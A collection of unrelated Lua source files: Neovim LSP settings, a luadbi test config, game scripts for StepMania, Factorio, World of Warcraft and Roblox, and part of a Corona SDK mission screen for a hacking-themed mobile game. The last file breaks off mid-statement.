local wk = require("which-key") vim.lsp.handlers["textDocument/publishDiagnostics"] = vim.lsp.with(vim.lsp.diagnostic.on_publish_diagnostics, { underline = true, virtual_text = {severity_limit = "Warning"}, signs = true }) local custom_attach = function(client, bufnr) local function buf_set_keymap(...) vim.api.nvim_buf_set_keymap(bufnr, ...) end local function buf_set_option(...) vim.api.nvim_buf_set_option(bufnr, ...) end buf_set_option('omnifunc', 'v:lua.vim.lsp.omnifunc') wk.register({ s = { name = "Code / LSP", a = { [[<cmd>Telescope lsp_code_actions<CR>]], "Code actions" }, D = { [[<cmd>lua vim.lsp.buf.declaration()<CR>]], "Go to declaration" }, d = { [[<cmd>Telescope lsp_definitions<CR>]], "Go to definition" }, h = { [[<cmd>lua vim.lsp.buf.hover()<CR>]], "Hover" }, i = { [[<cmd>Telescope lsp_implementations<CR>]], "Go to implementations" }, x = { [[<cmd>Telescope lsp_references<CR>]], "Go to references" }, r = { [[<cmd>lua vim.lsp.buf.rename()<CR>]], "Rename" }, t = { [[<cmd>lua vim.lsp.buf.type_definition()<CR>]], "Go to type definition" }, w = { [[<cmd>Telescope lsp_dynamic_workspace_symbols<CR>]], "List workspace symbols" }, g = { [[<cmd>Telescope diagnostics bufnr=0<CR>]], "Document diagnostics" }, G = { [[<cmd>Telescope diagnostics<CR>]], "Workspace diagnostics" }, f = { [[<cmd>lua vim.lsp.buf.formatting()<CR>]], "Format document" }, } }, { prefix = "<leader>", buffer = bufnr }) -- see: https://github.com/folke/which-key.nvim/issues/153 wk.register({ s = { name = "Code / LSP", a = { [[<cmd>Telescope lsp_range_code_actions<CR>]], "Code actions", mode = "v" }, f = { [[<cmd>lua vim.lsp.buf.range_formatting()<CR>]], "Format selection", mode = "v" }, } }, { prefix = "<leader>", buffer = bufnr }) local opts = {noremap = true, silent = true} buf_set_keymap('n', '[g', '<cmd>lua vim.diagnostic.goto_prev()<CR>', opts) buf_set_keymap('n', ']g', '<cmd>lua vim.diagnostic.goto_next()<CR>', opts) buf_set_keymap('n', 'K', [[<cmd>lua vim.lsp.buf.hover()<CR>]], opts) end local capabilities = vim.lsp.protocol.make_client_capabilities() capabilities.textDocument.completion.completionItem.snippetSupport = true capabilities.textDocument.completion.completionItem.resolveSupport = {properties = {'documentation', 'detail', 'additionalTextEdits'}} local nvim_lspconfig = require 'lspconfig' local servers = { "bashls", "cmake", "clangd", "jdtls", "pyright", "sqls", "terraformls", "yamlls", "gopls", "tsserver", } for _, lsp in ipairs(servers) do nvim_lspconfig[lsp].setup { capabilities = capabilities, on_attach = custom_attach, } end nvim_lspconfig["kotlin_language_server"].setup { capabilities = capabilities, on_attach = custom_attach, cmd = { "/usr/bin/kotlin-language-server" }, } nvim_lspconfig.jsonls.setup { capabilities = capabilities, on_attach = custom_attach, cmd = { 'vscode-json-languageserver', '--stdio' }, settings = { json = { schemas = require('schemastore').json.schemas(), }, }, } local local_efm_config = vim.fn.getcwd() .. '/efm-config.yaml' local efm_command = { "efm-langserver" } if vim.loop.fs_stat(local_efm_config) then efm_command = { "efm-langserver", "-c", local_efm_config } end nvim_lspconfig.efm.setup { cmd = efm_command, capabilities = capabilities, on_attach = custom_attach, init_options = { documentFormatting = true, }, filetypes= { 'css', 'dockerfile', 'fish', 'html', 'javascript', 'json', 'kotlin', 'lua', 'markdown', 'python', 'rst', 'sh', 'vim', 'yaml', }, } -- signature help require'lsp_signature'.on_attach() -- show lightbulbs for code actions vim.cmd [[autocmd CursorHold,CursorHoldI * lua require'nvim-lightbulb'.update_lightbulb()]] -- completion vim.o.completeopt = "menuone,noselect" -- zeavim vim.g.zv_file_types = {py = 'python'} -- vim-test and ultest vim.g['test#strategy'] = 'neovim' -- debugger require'nvim-dap-virtual-text'.setup() local dap = require('dap-python') dap.setup('/usr/bin/python3') dap.test_runner = 'pytest' require('telescope').load_extension('dap') wk.register({ ['<F5>'] = { [[:lua require'dap'.continue()<CR>]], "Debug continue" }, ['<F10>'] = { [[:lua require'dap'.step_over()<CR>]], "Debug step over" }, ['<F11>'] = { [[:lua require'dap'.step_into()<CR>]], "Debug step into" }, ['<F12>'] = { [[:lua require'dap'.step_out()<CR>]], "Debug step out" }, })
#!/usr/bin/env lua return { connect = { host = 'localhost', port = 3306, name = 'luadbi', user = 'luadbi', pass = 'testing12345!!!' }, encoding_test = { 12435212, 463769, 8574678, -12435212, 0, 9998212, 7653.25, 7635236, 0.000, -7653.25, 1636.94783, "string 1", "another_string", "really long string with some escapable chars: #&*%#;@'" }, placeholder = '?', have_last_insert_id = true, have_typecasts = false, have_booleans = false, have_rowcount = true }
local t = ...; t = Def.ActorFrame{ Def.Quad{ InitCommand=cmd(setsize,SCREEN_WIDTH,38;diffuse,color("#b87000")); UpdateFrameMessageCommand=function(s,param) if param.PCont then if param.PCont[PLAYER_1] == param.PCont[PLAYER_2] then s:croptop(0.5) else s:croptop(0) end end end, }; LoadActor("badge")..{ InitCommand=function(s) s:x((SCREEN_WIDTH/2)):halign(1) end, UpdateFrameMessageCommand=function(s,param) if param.PCont then if param.PCont[PLAYER_1] == param.PCont[PLAYER_2] then s:cropbottom(0.25):croptop(0.3):y(8) else s:cropbottom(0):y(0) end end end, }; }; return t;
local keymap = vim.api.nvim_set_keymap local g = vim.g keymap('n', '<leader>gh', ':diffget //2<CR>', { noremap = true }) keymap('n', '<leader>gl', ':diffget //3<CR>', { noremap = true }) require('gitsigns').setup { numhl = true, signcolumn = false, }
-- Double Ore patch amounts /c local surface = game.player.surface local patches = {"iron-ore-patch", "copper-ore-patch", "coal-patch", "stone-patch", "uranium-ore-patch"} for _, ore in pairs(surface.find_entities_filtered({type="resource"})) do for _, patchname in pairs(patches) do if ore.name == patchname then ore.amount = ore.amount * 2 end end end -- Increase Vanilla Ore field amounts /c local surface = game.player.surface local patches = {"iron-ore", "copper-ore", "coal", "stone", "uranium-ore", "crude-oil"} for _, ore in pairs(surface.find_entities_filtered({type="resource"})) do for _, patchname in pairs(patches) do if ore.name == patchname then ore.amount = ore.amount * 3 end end end -- Get Mapgen autoplace (resource) settings /c game.player.print(serpent.block(surface.map_gen_settings.autoplace_controls)) -- or /c game.write_file("mapgen_settings.txt", serpent.block(surface.map_gen_settings.autoplace_controls)) -- Change mapgen autoplace settings /c local surface = game.player.surface local patches = {"iron-ore", "copper-ore", "coal", "stone", "uranium-ore"} local autoplace = surface.map_gen_settings.autoplace_controls for _, resource in pairs(patches) do autoplace[resource].size = autoplace[resource].size + 1 autoplace[resource].frequency = autoplace[resource].frequency * 2 autoplace[resource].richness = 0.5 end surface.map_gen_settings.autoplace_controls = autoplace
local _G = _G; local ABP_4H = _G.ABP_4H; local GetNumGuildMembers = GetNumGuildMembers; local GetGuildRosterInfo = GetGuildRosterInfo; local GuildRoster = GuildRoster; local Ambiguate = Ambiguate; local table = table; local guildInfo = {}; function ABP_4H:RebuildGuildInfo() table.wipe(guildInfo); for i = 1, GetNumGuildMembers() do local data = { GetGuildRosterInfo(i) }; if data[1] then data.player = Ambiguate(data[1], "short"); data.index = i; guildInfo[data.player] = data; else -- Seen this API fail before. If that happens, -- request another guild roster update. GuildRoster(); end end end function ABP_4H:GetGuildInfo(player) if player then return guildInfo[player]; end return guildInfo; end
local lavender_0 = DoorSlot("lavender","0") local lavender_0_hub = DoorSlotHub("lavender","0",lavender_0) lavender_0:setHubIcon(lavender_0_hub) local lavender_1 = DoorSlot("lavender","1") local lavender_1_hub = DoorSlotHub("lavender","1",lavender_1) lavender_1:setHubIcon(lavender_1_hub) local lavender_2 = DoorSlot("lavender","2") local lavender_2_hub = DoorSlotHub("lavender","2",lavender_2) lavender_2:setHubIcon(lavender_2_hub) local lavender_3 = DoorSlot("lavender","3") local lavender_3_hub = DoorSlotHub("lavender","3",lavender_3) lavender_3:setHubIcon(lavender_3_hub) local lavender_4 = DoorSlot("lavender","4") local lavender_4_hub = DoorSlotHub("lavender","4",lavender_4) lavender_4:setHubIcon(lavender_4_hub) local lavender_5 = DoorSlot("lavender","5") local lavender_5_hub = DoorSlotHub("lavender","5",lavender_5) lavender_5:setHubIcon(lavender_5_hub)
local ReplicatedStorage = game:GetService('ReplicatedStorage') local Modules = ReplicatedStorage:WaitForChild('Modules') -- local logger = require(Modules.src.utils.Logger) local clientSrc = game:GetService('StarterPlayer'):WaitForChild('StarterPlayerScripts').clientSrc local Support = require(Modules.src.utils.SupportLibrary) local ContextActionService = game:GetService('ContextActionService') local Roact = require(Modules.Roact) local RoactRodux = require(Modules.RoactRodux) local M = require(Modules.M) local Shop = require(clientSrc.Components.Shop) local UICorner = require(clientSrc.Components.common.UICorner) local RoundButton = require(clientSrc.Components.common.RoundButton) local Frame = require(clientSrc.Components.common.Frame) local getApiFromComponent = require(clientSrc.getApiFromComponent) local InventoryObjects = require(Modules.src.objects.InventoryObjects) local OBJECT_TYPES = InventoryObjects.OBJECT_TYPES local createElement = Roact.createElement local InventoryAndShopButtons = Roact.PureComponent:extend('InventoryAndShopButtons') function InventoryAndShopButtons:init() self.state = { shopOpen = false, inventoryOpen = false, } self.api = getApiFromComponent(self) end function InventoryAndShopButtons:render() local props = self.props local isPlaying = props.isPlaying local inventory = props.inventory if isPlaying then return end local toggleInventory = function() self:setState(function(prevState) return { inventoryOpen = not prevState.inventoryOpen } end) end local toggleShop = function() self:setState(function(prevState) return { shopOpen = not prevState.shopOpen } end) end local inventoryButton = createElement(RoundButton, { icon = 'inbox', onClicked = toggleInventory, }) local shopButton = createElement(RoundButton, { icon = 'shop', onClicked = toggleShop, }) if not self.state.shopOpen and not self.state.inventoryOpen then return createElement( Frame, { Layout = 'List', LayoutDirection = 'Vertical', Padding = UDim.new(0, 20), Size = UDim2.new(0, 50, 0, 100), Position = UDim2.new(0, 0, 0, 20), }, { shopButton, inventoryButton } ) end local closeInventoryAndShop = function() self:setState(function() return { inventoryOpen = false, shopOpen = false, } end) end local shopProps = { tabs = OBJECT_TYPES, closeClick = closeInventoryAndShop, equippedItems = self.props.equippedItems, isGhosting = self.props.isGhosting, inventory = inventory, buyItem = function(itemId) self.api:buyItem(itemId) end, startGhosting = function() self.api:startGhosting() end, stopGhosting = function() self.api:stopGhosting() end, equipItem = function(itemId) self.api:equipItem(itemId) end, unequipItem = function(itemId) self.api:unequipItem(itemId) end, } return createElement( Frame, { BackgroundColor3 = Color3.fromRGB(179, 216, 236), BackgroundTransparency = 0.1, }, { UICorner = createElement(UICorner), Inventory = createElement( Shop, Support.Merge( { items = self.state.inventoryOpen and inventory or self.props.items }, shopProps ) ), } ) end function InventoryAndShopButtons:didMount() local function openShop(actionName, inputState) if inputState == Enum.UserInputState.Begin then self:setState(function(state) return { shopOpen = not state.shopOpen, inventoryOpen = false, } end) end end local function openInventory(actionName, inputState) if inputState == Enum.UserInputState.Begin then self:setState(function(state) return { inventoryOpen = not state.inventoryOpen, shopOpen = false, } end) end end ContextActionService:BindAction('openShop', openShop, false, Enum.KeyCode.Q) ContextActionService:BindAction('openInventory', openInventory, false, Enum.KeyCode.R) end local InventoryAndShopButtonsConnected = RoactRodux.connect(function(state) local function isVisible(item) return item.type ~= OBJECT_TYPES.ROOM end local function byId(item) return item.id, item end return { items = state.shop.items, equippedItems = state.player.equippedItems, isPlaying = state.player.isPlaying, playerSlotsCount = state.player.playerSlotsCount, isGhosting = state.player.isGhosting, inventory = M.map(M.filter(state.inventory, isVisible), byId), } end)(InventoryAndShopButtons) return InventoryAndShopButtonsConnected
local widget = require( "widget" ) local composer = require( "composer" ) local json = require ("json") local myData = require ("mydata") local loadsave = require( "loadsave" ) local upgrades = require("upgradeName") local missionScene = composer.newScene() --------------------------------------------------------------------------------- --------------------------------------------------------------------------------- --> GENERAL FUNCTIONS --------------------------------------------------------------------------------- local getHackScenario local function onAlert( event ) if ( event.action == "clicked" ) then if system.getInfo("platformName")=="Android" then native.requestExit() else os.exit() end end end local function missionAfterCollectEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end myData.missionTableView:deleteAllRows() if (sorting=='timeD') then t.available_missions=quicksortD(t.available_missions,'duration') elseif (sorting=='timeA') then t.available_missions=quicksortA(t.available_missions,'duration') elseif (sorting=='moneyA') then t.available_missions=quicksortA(t.available_missions,'reward') elseif (sorting=='moneyD') then t.available_missions=quicksortD(t.available_missions,'reward') elseif (sorting=='xpA') then t.available_missions=quicksortA(t.available_missions,'xp') elseif (sorting=='xpD') then t.available_missions=quicksortD(t.available_missions,'xp') elseif (sorting=='statusA') then t.available_missions=quicksortA(t.available_missions,'running') elseif (sorting=='statusD') then t.available_missions=quicksortD(t.available_missions,'running') end for i in pairs( t.available_missions ) do local mc_lvl = t.available_missions[i].mc_lvl local upgrade_cost = 0 if (mc_lvl == 1) then upgrade_cost = 5000 elseif (mc_lvl == 2) then upgrade_cost = 100000 elseif (mc_lvl == 3) then upgrade_cost = 1000000 elseif (mc_lvl == 4) then upgrade_cost = 10000000 elseif (mc_lvl == 5) then upgrade_cost=0 end myData.moneyTextM.text = format_thousand(t.available_missions[i].money) if (string.len(t.available_missions[i].user)>15) then myData.playerTextM.size = fontSize(42) end myData.playerTextM.text = t.available_missions[i].user myData.missionCenterTxt.text = "Level "..t.available_missions[i].mc_lvl myData.missionCenterTxt.lvl = mc_lvl local percent=(t.available_missions[i].mc_upgrade_lvl/100) myData.mc_progress:setProgress( percent ) myData.missionCenterUpgradeTxt.text = t.available_missions[i].mc_upgrade_lvl.."%" myData.upgradeMCButton:setLabel("Upgrade ($"..format_thousand(upgrade_cost)..")") if (mc_lvl == 5) then myData.missionCenterUpgradeTxt.text = "" myData.upgradeMCButton.collectActive=true myData.upgradeMCButton:setLabel("Collect All") end local tempText = display.newText("Name\n"..t.available_missions[i].mission_desc.."\nReward\nDuration", 0, 0, myData.missionTableView.width-40, 0, native.systemFont, fontSize(50)) local tempRowHeight = fontSize(160) + tempText.height if (t.available_missions[i].running == 1) then tempRowHeight=tempRowHeight+fontSize(100) end tempText : removeSelf() tempText = nil rowColor = { default = { 0, 0, 0, 0 } } lineColor = { default = { 1, 0, 0 } } local color=tableColor1 if (i%2==0) then color=tableColor2 end myData.missionTableView:insertRow( { isCategory = isCategory, rowHeight = tempRowHeight, rowColor = rowColor, lineColor = lineColor, params = { id=t.available_missions[i].mission_id, color=color, running=t.available_missions[i].running, minutes=t.available_missions[i].duration, reward=t.available_missions[i].reward, xp=t.available_missions[i].xp, name=t.available_missions[i].mission_name, desc=t.available_missions[i].mission_desc, time_finish=t.available_missions[i].time_finish, difficult=t.available_missions[i].difficult } -- Include custom data in the row }) end if (missionCountDownTimer) then timer.cancel(missionCountDownTimer) end missionCountDownTimer = timer.performWithDelay( 1000, updateMissionTimer, 10000000 ) collected=0 end end local function renewAfterCollectEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.status == "OK") then local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getMissions.php", "POST", missionAfterCollectEventListener, params ) end end end local function rewardCollected() local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."renewMissions.php", "POST", renewAfterCollectEventListener, params ) end local function collectMissionEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.STATUS == "OK") then rewardSound() myData.moneyTextM.text = format_thousand(t.money) --local alert = native.showAlert( "EliteHax", "Collected $"..format_thousand(t.collected), { "Close" }, rewardCollected ) if (t.new_lvl>0) then local sceneOverlayOptions = { time = 0, effect = "crossFade", params = { }, isModal = true } composer.showOverlay( "newLvlScene", sceneOverlayOptions) end rewardCollected() end end end local function collectAllMissionEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.STATUS == "NC") then -- elseif (t.STATUS == "OK") then rewardSound() myData.moneyTextM.text = format_thousand(t.money) --local alert = native.showAlert( "EliteHax", "Collected $"..format_thousand(t.collected), { "Close" }, rewardCollected ) if (t.new_lvl>0) then local sceneOverlayOptions = { time = 0, effect = "crossFade", params = { }, isModal = true } composer.showOverlay( "newLvlScene", sceneOverlayOptions) end rewardCollected() end end end local function collectMission(event) if ((event.phase == "ended") and (collected==0)) then collected=1 local headers = {} local body = "id="..string.urlEncode(loginInfo.token).."&mission_id="..event.target.mission_id local params = {} params.headers = headers params.body = body network.request( host().."collectMission.php", "POST", collectMissionEventListener, params ) end end local function updateMissionTimer() local tableViewRows = myData.missionTableView._view._rows for i,row in ipairs( tableViewRows ) do if ( myData.missionTableView:getRowAtIndex(i) ) then local row = myData.missionTableView:getRowAtIndex(i) local params = row.params if (myData.missionTableView:getRowAtIndex(i).rowTimeLeft ~= nil) then local secondsLeft = myData.missionTableView:getRowAtIndex(i).params.time_finish secondsLeft = secondsLeft - 1 if (secondsLeft >0) then myData.missionTableView:getRowAtIndex(i).rowTimeLeft.text="Time Left: "..timeText(secondsLeft) myData.missionTableView:getRowAtIndex(i).params.time_finish = secondsLeft local percent=1-((secondsLeft/60)/myData.missionTableView:getRowAtIndex(i).params.minutes) myData.missionTableView:getRowAtIndex(i).progressView:setProgress( percent ) else row.collectButton = widget.newButton( { left = row.width-fontSize(450)-20, top = row.rowIncome.y+row.rowIncome.height-fontSize(60)*2, width = fontSize(400), height = display.actualContentHeight/15-5, defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(60), label = "Collect", labelColor = tableColor1, onEvent = collectMission }) row.collectButton.mission_id=row.params.id row.collectButton:addEventListener("tap",collectMission) row:insert(row.collectButton) end end else local row = myData.missionTableView._view._rows[i] local params = row.params local secondsLeft = params.time_finish secondsLeft = secondsLeft - 1 if (secondsLeft >0) then myData.missionTableView._view._rows[i].params.time_finish = secondsLeft end end end end local function updateMissionEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end myData.missionTableView:deleteAllRows() if (sorting=='timeD') then t.available_missions=quicksortD(t.available_missions,'duration') elseif (sorting=='timeA') then t.available_missions=quicksortA(t.available_missions,'duration') elseif (sorting=='moneyA') then t.available_missions=quicksortA(t.available_missions,'reward') elseif (sorting=='moneyD') then t.available_missions=quicksortD(t.available_missions,'reward') elseif (sorting=='xpA') then t.available_missions=quicksortA(t.available_missions,'xp') elseif (sorting=='xpD') then t.available_missions=quicksortD(t.available_missions,'xp') elseif (sorting=='statusA') then t.available_missions=quicksortA(t.available_missions,'running') elseif (sorting=='statusD') then t.available_missions=quicksortD(t.available_missions,'running') end for i in pairs( t.available_missions ) do myData.moneyTextM.text = format_thousand(t.available_missions[i].money) if (string.len(t.available_missions[i].user)>15) then myData.playerTextM.size = fontSize(42) end myData.playerTextM.text = t.available_missions[i].user local tempText = display.newText("Name\n"..t.available_missions[i].mission_desc.."\nReward\nDuration", 0, 0, myData.missionTableView.width-40, 0, native.systemFont, fontSize(50)) local tempRowHeight = 160 + tempText.height if (t.available_missions[i].running == 1) then tempRowHeight=tempRowHeight+120 end tempText : removeSelf() tempText = nil rowColor = { default = { 0, 0, 0, 0 } } lineColor = { default = { 1, 0, 0 } } local color=tableColor1 if (i%2==0) then color=tableColor2 end myData.missionTableView:insertRow( { isCategory = isCategory, rowHeight = tempRowHeight, rowColor = rowColor, lineColor = lineColor, params = { id=t.available_missions[i].mission_id, color=color, running=t.available_missions[i].running, minutes=t.available_missions[i].duration, reward=t.available_missions[i].reward, xp=t.available_missions[i].xp, name=t.available_missions[i].mission_name, desc=t.available_missions[i].mission_desc, time_finish=t.available_missions[i].time_finish, difficult=t.available_missions[i].difficult } }) end if (missionCountDownTimer) then timer.cancel(missionCountDownTimer) end missionCountDownTimer = timer.performWithDelay( 1000, updateMissionTimer, 10000000 ) end end local function missionEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end myData.missionTableView:deleteAllRows() if (sorting=='timeD') then t.available_missions=quicksortD(t.available_missions,'duration') elseif (sorting=='timeA') then t.available_missions=quicksortA(t.available_missions,'duration') elseif (sorting=='moneyA') then t.available_missions=quicksortA(t.available_missions,'reward') elseif (sorting=='moneyD') then t.available_missions=quicksortD(t.available_missions,'reward') elseif (sorting=='xpA') then t.available_missions=quicksortA(t.available_missions,'xp') elseif (sorting=='xpD') then t.available_missions=quicksortD(t.available_missions,'xp') elseif (sorting=='statusA') then t.available_missions=quicksortA(t.available_missions,'running') elseif (sorting=='statusD') then t.available_missions=quicksortD(t.available_missions,'running') end for i in pairs( t.available_missions ) do local mc_lvl = t.available_missions[i].mc_lvl local upgrade_cost = 0 if (mc_lvl == 1) then upgrade_cost = 5000 elseif (mc_lvl == 2) then upgrade_cost = 100000 elseif (mc_lvl == 3) then upgrade_cost = 1000000 elseif (mc_lvl == 4) then upgrade_cost = 10000000 elseif (mc_lvl == 5) then upgrade_cost=0 end myData.moneyTextM.text = format_thousand(t.available_missions[i].money) if (string.len(t.available_missions[i].user)>15) then myData.playerTextM.size = fontSize(42) end myData.playerTextM.text = t.available_missions[i].user myData.missionCenterTxt.text = "Level "..t.available_missions[i].mc_lvl myData.missionCenterTxt.lvl = mc_lvl local percent=(t.available_missions[i].mc_upgrade_lvl/100) myData.mc_progress:setProgress( percent ) myData.missionCenterUpgradeTxt.text = t.available_missions[i].mc_upgrade_lvl.."%" myData.upgradeMCButton:setLabel("Upgrade ($"..format_thousand(upgrade_cost)..")") if (mc_lvl == 5) then myData.missionCenterUpgradeTxt.text = "" myData.upgradeMCButton.collectActive=true myData.upgradeMCButton:setLabel("Collect All") end local tempText = display.newText("Name\n"..t.available_missions[i].mission_desc.."\nReward\nDuration", 0, 0, myData.missionTableView.width-40, 0, native.systemFont, fontSize(50)) local tempRowHeight = 160 + tempText.height if (t.available_missions[i].running == 1) then tempRowHeight=tempRowHeight+120 end tempText : removeSelf() tempText = nil rowColor = { default = { 0, 0, 0, 0 } } lineColor = { default = { 1, 0, 0 } } local color=tableColor1 if (i%2==0) then color=tableColor2 end myData.missionTableView:insertRow( { isCategory = isCategory, rowHeight = tempRowHeight, rowColor = rowColor, lineColor = lineColor, params = { id=t.available_missions[i].mission_id, color=color, running=t.available_missions[i].running, minutes=t.available_missions[i].duration, reward=t.available_missions[i].reward, xp=t.available_missions[i].xp, name=t.available_missions[i].mission_name, desc=t.available_missions[i].mission_desc, time_finish=t.available_missions[i].time_finish, difficult=t.available_missions[i].difficult } -- Include custom data in the row }) end if (missionCountDownTimer) then timer.cancel(missionCountDownTimer) end loaded=true missionCountDownTimer = timer.performWithDelay( 1000, updateMissionTimer, 10000000 ) end end local function renewMissionsEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.status == "OK") then local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getMissions.php", "POST", missionEventListener, params ) end end end local function startMissionEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end if (t.STATUS == "MAX_CC") then local alert = native.showAlert( "EliteHax", "Max concurrent missions reached", { "Close" } ) end if (t.STATUS == "OK") then local headers = {} local body = "id="..string.urlEncode(loginInfo.token) local params = {} params.headers = headers params.body = body network.request( host().."getMissions.php", "POST", missionEventListener, params ) end end end local function startMission(event) if (event.phase == "ended") then local headers = {} local body = "id="..string.urlEncode(loginInfo.token).."&mission_id="..event.target.mission_id local params = {} params.headers = headers params.body = body tapSound() network.request( host().."startMission.php", "POST", startMissionEventListener, params ) end end local function onRowRender( event ) local row = event.row local params = event.row.params local difficult="" if (params.difficult==1) then difficult="Very Easy" elseif (params.difficult==2) then difficult="Easy" elseif (params.difficult==3) then difficult="Medium" elseif (params.difficult==4) then difficult="High" elseif (params.difficult==5) then difficult="Extreme" end row.rowRectangle = display.newRoundedRect( row, 0, 0, row.width-20, row.height-fontSize(20), 60 ) row.rowRectangle.strokeWidth = 0 row.rowRectangle.anchorX=0 row.rowRectangle.anchorY=0 row.rowRectangle.x,row.rowRectangle.y=10,10 row.rowRectangle:setFillColor(params.color.default[1],params.color.default[2],params.color.default[3]) row.rowLvls = display.newText( row, params.name.." ("..difficult..")", 0, 0, native.systemFont, fontSize(47) ) row.rowLvls.anchorX = 0 row.rowLvls.anchorY = 0 row.rowLvls.x = 40 row.rowLvls.y = 20 row.rowLvls:setTextColor( 0, 0, 0 ) row.rowIncome = display.newText( row, params.desc.."\n\nReward: $"..format_thousand(params.reward).."\nXP: "..params.xp.."\nDuration: "..timeText(params.minutes*60), 0, 0, row.width-40, 0, native.systemFont, fontSize(48) ) row.rowIncome.anchorX=0 row.rowIncome.anchorY=0 row.rowIncome.x = 40 row.rowIncome.y = row.rowLvls.y+row.rowLvls.height+15 row.rowIncome:setTextColor( 0, 0, 0 ) if (params.running == 0) then row.startButton = widget.newButton( { left = row.width-fontSize(400)-20, top = row.rowIncome.y+row.rowIncome.height-fontSize(80)*2, width = fontSize(400), height = display.actualContentHeight/15-5, defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(60), label = "Start", labelColor = tableColor1, onEvent = startMission }) row.startButton.mission_id=params.id row.startButton:addEventListener("tap",startMission) row:insert(row.startButton) else local options = { width = 64, height = 64, numFrames = 6, sheetContentWidth = 384, sheetContentHeight = 64 } local progressSheet = graphics.newImageSheet( progressColor, options ) row.progressView = widget.newProgressView( { sheet = progressSheet, fillOuterLeftFrame = 1, fillOuterMiddleFrame = 2, fillOuterRightFrame = 3, fillOuterWidth = 50, fillOuterHeight = 50, fillInnerLeftFrame = 4, fillInnerMiddleFrame = 5, fillInnerRightFrame = 6, fillWidth = 50, fillHeight = 50, left = 40, top = row.rowIncome.y+row.rowIncome.height+20, width = row.width-80, isAnimated = true } ) local percent=1-((params.time_finish/60)/params.minutes) row.progressView:setProgress( percent ) row:insert(row.progressView) if (timeText(params.time_finish) == "Finished") then row.collectButton = widget.newButton( { left = row.width-fontSize(400)-20, top = row.rowIncome.y+row.rowIncome.height-fontSize(80)*2, width = fontSize(400), height = display.actualContentHeight/15-5, defaultFile = buttonColor400, -- overFile = "buttonOver.png", fontSize = fontSize(60), label = "Collect", labelColor = tableColor1, onEvent = collectMission }) row.collectButton.mission_id=params.id row.collectButton:addEventListener("tap",collectMission) row:insert(row.collectButton) else row.rowTimeLeft = display.newText( row, "Time Left: "..timeText(params.time_finish), 0, 0, native.systemFont, fontSize(50) ) row.rowTimeLeft.anchorX=1 row.rowTimeLeft.anchorY=1 row.rowTimeLeft.x = row.width-row.rowTimeLeft.width-40 row.rowTimeLeft.y = row.rowIncome.y+row.rowIncome.height row.rowTimeLeft:setTextColor( 0, 0, 0 ) end end row.line = display.newLine( row, 0, row.contentHeight, row.width, row.contentHeight ) row.line.anchorY = 1 row.line:setStrokeColor( 0, 0, 0, 1 ) row.line.strokeWidth = 16 end local function upgradeMCEventListener( event ) if ( event.isError ) then print( "Network error: ", event.response ) local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) else print ( "RESPONSE: " .. event.response ) local t = json.decode( base64Decode(event.response) ) if ( t == nil ) then print ("EMPTY T") local alert = native.showAlert( "EliteHax", "Oops.. A network error occured...", { "Close" }, onAlert ) end upgradeMCClicked = 0 if (t.STATUS == "NO_MONEY") then local alert = native.showAlert( "EliteHax", "Oops.. It seems you don't have enough money...", { "Ok" } ) end if (t.STATUS == "OK") then myData.moneyTextM.text = format_thousand(t.new_money) local percent=(t.mc_upgrade_lvl/100) myData.mc_progress:setProgress( percent ) myData.missionCenterUpgradeTxt.text = t.mc_upgrade_lvl.."%" end if (t.STATUS == 